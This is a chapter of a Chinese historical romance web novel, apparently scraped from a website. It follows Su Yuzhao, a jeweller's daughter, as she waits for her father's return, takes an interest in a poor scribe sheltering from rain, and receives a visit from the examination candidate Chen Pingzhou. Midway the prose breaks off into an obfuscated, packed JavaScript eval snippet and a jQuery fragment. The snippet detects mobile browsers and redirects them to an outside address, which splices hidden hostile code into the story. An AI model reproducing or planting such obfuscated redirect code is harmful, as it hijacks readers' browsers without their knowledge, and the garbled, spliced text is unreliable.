14. 第14章
作品:《珠光宝气》 回到“万宝楼”一楼大堂,等不及上五楼,苏玉照快步走进抱厦旁的一间小暖阁内,一进屋便拆开父亲苏檀林的书信,熟悉的楷体字映入眼帘。
苏檀林在信中说,他已在蒲甘国边境逗留月余,接洽了几个当地的玉料商头子,准备以后就从他们那里转买翡翠原石,价格虽高些,但也省了来回奔波,总算下来还是划算的。
那边事宜已定,再过几日他就返程归京,另问家中安好,还让苏玉照替他给母亲严氏请安。
苏玉照看罢,喜上梅稍,对金环、银屏道:“这下好了,父亲马上要回来了,看来那边生意谈得顺利,算日子,他最多两个月,便能到家,那时还没进腊月,我们一家人正好团圆过年。”
金环也喜得拍掌:“刚我瞧着翡翠这玉料,颜色好看,质地也好,咱们若能把源头垄断了,‘万宝楼’的生意必然能更上一层楼。”
“生意是小。”银屏道,“重要的是老爷路上要平安。”
苏玉照点点头:“你说得对,近日我恍惚听说南方遭了水灾,盗匪四起,年景不太平。一会你去镖局,雇一队最精干的镖人,让他们先去泉州港接应,等父亲的船一靠岸,就护送他回京。”
“哎,我这就去。”银屏答应着,拿了把伞便出门。
她前脚刚走,吴大才又来了:“少东家,门外有几位相公,拿了您的帖子,说是来当面向您致谢的,您看要不要见?”
往年这些学子,都是由苏檀林亲自接待的,今年苏檀林不在家,苏玉照按旧例周济他们,倒忘了他们会来回谢。
苏玉照不怎么放在心上,对吴大才道:“我今日身上不好,人我就不见了,你代我道乏吧,再整治一桌像样的席面,热上两坛滚烫的龙涎烧,外面下着雨,别让人家白跑一趟,觉得我们轻慢,没礼数似的。”
吴大才躬身道:“是。”
口中答应着,他却没有即刻去办,踌躇片刻道:“少东家,您昨儿叫我关照的那个写字先生......”
“嗯?他怎么了。”苏玉照转头问道。
吴大才抬手指指窗外:“今儿他也出摊了,只是下着雨,没法支桌案,我瞧着他在对面衣铺檐下站了大半日,也没什么生意,我想着要不也请他来一同入席,您看可使得?”
“这算什么事,也值当得来回我,你自己做主就是了。”苏玉照道。
吴大才答应一声,乐呵呵地出去请人。
苏玉照起身来到南窗下,支起窗牖往对面瞧了一眼,只见薛鹤卿只身立在吴记成衣铺的屋檐下,一边躲雨一边等客人上门。他一身黛青色素衣长衫,袍角处已经被雨雾洇湿,手中犹拿着本书册,看起来是气定神闲的样子。
可惜像这种阴雨天气,除非家里有急事的,谁会出门找人代写书信呢。
街上人本就不多,三三两两的也都撑着伞,行色匆匆地走过,就连成衣铺也没什么生意。
吴老伯搬了把交椅,往上一躺,旁边放了把酒壶,手里拿着个小酒杯自斟自饮,闲来无事,便与薛鹤卿聊几句家常:“你这后生真是拘礼,老头子让你进屋来坐坐,我这会子又没客人,妨碍得着什么,你偏不听,在外头傻站着做什么。”
薛鹤卿敛卷抬手回了个礼,温声道:“多谢吴伯,只是我这一路走过来,身上鞋上都沾了泥水,您铺子里都是金贵布料,若弄湿弄脏了一点半点,赔我又赔不起,白伤了和气,还是我在外头妥当。若不是昨日有客人约了叫我写斗匾,今儿个我就不来叨扰了,再等上一时半刻,过午他还不来,我也就回家去了。”
“哎,你倒是守信的好孩子,不过我看那客人恐怕不愿意冒雨出门。”吴伯叹了口气,“来,喝口酒驱驱寒吧。”
“晚生不擅饮酒,一会儿还要写字,多谢吴伯好意。”薛鹤卿婉拒道。
吴伯笑道:“不擅吃酒可不好,你得多练练,不然以后琼林宴上,官家赐酒可不好推脱。日后入仕为官,往来应酬更是多得很呐。”
正说着,就见吴大才撑着伞走过来,对薛鹤卿浅浅一揖,笑道:“薛相公发财。”
薛鹤卿认出他是昨日给自己结账的伙计,回了一礼:“掌柜的何事?”
“可不敢当,小可就是个跑堂的。”吴大才忙摆手道,“也无甚要事,我家主人今日摆宴款待进京科考的相公们,公子若肯赏脸,不妨一道入席,遇到投缘的,彼此结交一二,他日同朝为官,也好互相照应照应。”
薛鹤卿表情一顿:对方还是个广撒网的。放眼这满城举子不知有多少已被权贵收买了,长此以往,朝堂必然乌烟瘴气。
“不必了,薛某还约了客人,若贸然离开唯恐失约,还望勿怪。”薛鹤卿颔首致歉道。
苏玉照隔窗看着吴大才一个人悻悻而归,不由扯了扯嘴角,自言自语道:“我就知道他不会来。”
临近中午,苏玉照小腹有些痛,懒怠动弹,金环便在暖阁炕上支了个小方桌,命人厨房现做了几样炖得软烂好克化的菜肴,先给银屏留出一份来,然后两人对坐着吃饭。
苏玉照没胃口,搛了几口便放下筷子,畏缩在软榻一角,抱着暖炉不撒手。
金环瞧着心疼,埋怨道:“姑娘总是好了伤疤忘了疼,平日里贪凉,凭人劝说也不听,又嫌药苦,不肯喝药调养,这会子知道痛了,又没好法子,哎......”
苏玉照脸色发白:“调养,疼过这会儿,晚上回去就调养。以后再不吃冰的了。哎呦,好姐姐,你给我灌个汤婆子吧,这暖炉不管用。”
金环也不忍再说教,赶紧找来汤婆子,灌上热水,用软布包了,让苏玉照敷到肚子上,又冲了杯益母红糖姜茶,小口喂她喝下。
苏玉照鬓角渗出点汗来,这才觉得好些了。
金环走到窗边,要把窗户关上,苏玉照觑了一眼,见薛鹤卿还在檐下站着,无奈摇摇头,对金环道:“你去唤他来,就说我还要请他代笔写书信。”
金环轻“哼”一声:“依我说,姑娘竟别理他,多少人想来咱们府上做个清客还不能呢,他还不识抬举。”
苏玉照勾起唇角:“谁让他长得太俊了呢,你家姑娘我啊,既贪财又好色,好容易遇见这么个人物,错过了岂不可惜。”
金环皱起眉:“姑娘要招他入赘?可别了吧,我看他性子又冷,脾气又硬,若知道了您的心思,不但不会答应,还会觉得受辱,咱们何必自讨苦吃。”
苏玉照脸一红,嗔道:“谁说我招婿要找他,本姑娘手里候选人多了去了,可不差他这一个。不过么,他到底有几分姿色,放到候选人里也未尝不可。”
“我看姑娘是色迷心窍了。”金环叹气,“若真找这么个男人回家,还不得给他供起来。”
苏玉照摆手催她快去:“我虽然以貌取人,但大是大非面前还是摆得清的,只有我享受的份儿,哪儿会让自己吃苦头。”
金环无奈,只得出门快步来至薛鹤卿近前,离了老远就感觉到他身上传来疏离的气息。薛鹤卿个子高,眼尾微垂,目光落在书册上,更显得拒人千里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390593|199901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
不过说实话,他确实是金环知道的苏玉照认识的男子里,容貌最好的一个,就连苏玉照的死对头李笏,那个京城有名的纨绔公子,也被他比下去了。
尤其此刻,薛鹤卿鬓发微湿,眉目冷冽,更显得君子楚楚,如青山风流,与日月同辉。
怪不得姑娘只见了人家两面便印象深刻,瞧着人家躲雨就心生恻隐。
金环却是心中有丘壑的,没被眼前的美色迷了眼,开口很不客气得对薛鹤卿道:“请问阁下可是摆摊卖字的?我们姑娘要请你写封书信,跟我来吧。”
说罢转身就走。
薛鹤卿愣了一下,便背起竹篓,举步跟了上来。
请他吃酒他可以拒绝,但有生意上门他还是要过来的。
毕竟等了大半日,约好的客人也没来,这边再不答应,他可能一整天一文钱都挣不到,家里的生计也是问题。
金环并没有把他带到苏玉照的屋子,而是把他领到了旁边房间,与苏玉照这边是用隔断隔开的,隔断上一层泼墨绢纱,朦朦胧胧只能看到个人影,说话的声音到是能听真切。
她想的是,即便姑娘想招薛鹤卿做赘婿,那也得拿出大家闺秀的体统来,不能太掉价。
“公子在这里稍候,我去回禀一声。”金环端起架子道。
刚说完,就听到隔壁苏玉照房中传出一道男子的声音。
“在下陈凭舟,见过苏姑娘,这厢有礼了。”
金环唬了一跳,赶紧撇下薛鹤卿,往苏玉照房中回转来,便走边喝问:“是哪个无礼的登徒子,敢随便进姑娘的房间,还不快滚出去!”
苏玉照胳膊支在小桌上,正撑着额头闭目小憩,忽听到有人说话,声音近在咫尺,忙睁眼去瞧,就见一个面容清秀,神态温和的男子立在不远处,手里提着个纸包,正微笑着看她。
金环走过来,在门口正好碰到办事回来的银屏,两人一齐进屋,拦在苏玉照前面。
银屏把伞一收,挡住陈凭舟便往外撵人:“你是谁,敢冲撞我们小姐,来人,快打出去。”
陈凭舟忙解释道:“在下是今日登门致谢的举子,听闻苏姑娘抱恙,心中牵念,特来探望,并非有意唐突。”
“我管你是谁,还是读书人呢,不知道非礼勿视非礼勿听吗,怎么敢直剌剌跑到姑娘的屋里来,这是你该来的地方吗?”银屏连珠炮似的将人数落了一通,边说边把陈凭舟逼退到门口,见吴大才带了两个伙计赶来,又把火撒到他身上,“你是做什么吃的,连个门也守不好,什么不三不四的人也能在楼里乱闯,倘或丢了东西,唯你是问。”
吴大才忙陪笑道:“哎呦是小的的不是,金环姑娘息怒。陈相公,还不快随我归席。”
陈凭舟被金环指桑骂槐的一顿抢白,十分羞恼,红着脸道:“我又不是贼,姑娘何必出此恶言。”
“哼,我们也没说你,自己心虚什么。”金环横了他一眼道。
“金环,银屏,不得无礼。”苏玉照靠坐在软榻上,懒懒道,“陈郎君好心来瞧我,不热情待客,怎么反倒撵起人家来了,还不快去,端上好的新茶来。”
金环住声,抿了抿嘴,拉着银屏转身去了。
苏玉照抬手请陈凭舟坐下,带着歉意浅笑道:“婢子无状,陈公子见笑了。”
陈凭舟看了她一眼,又飞快地低下头,像初入书塾没背过功课,却又被先生抽查到的小童生,说话都有些磕绊:“无......无妨,确实是......在下无礼在先。”

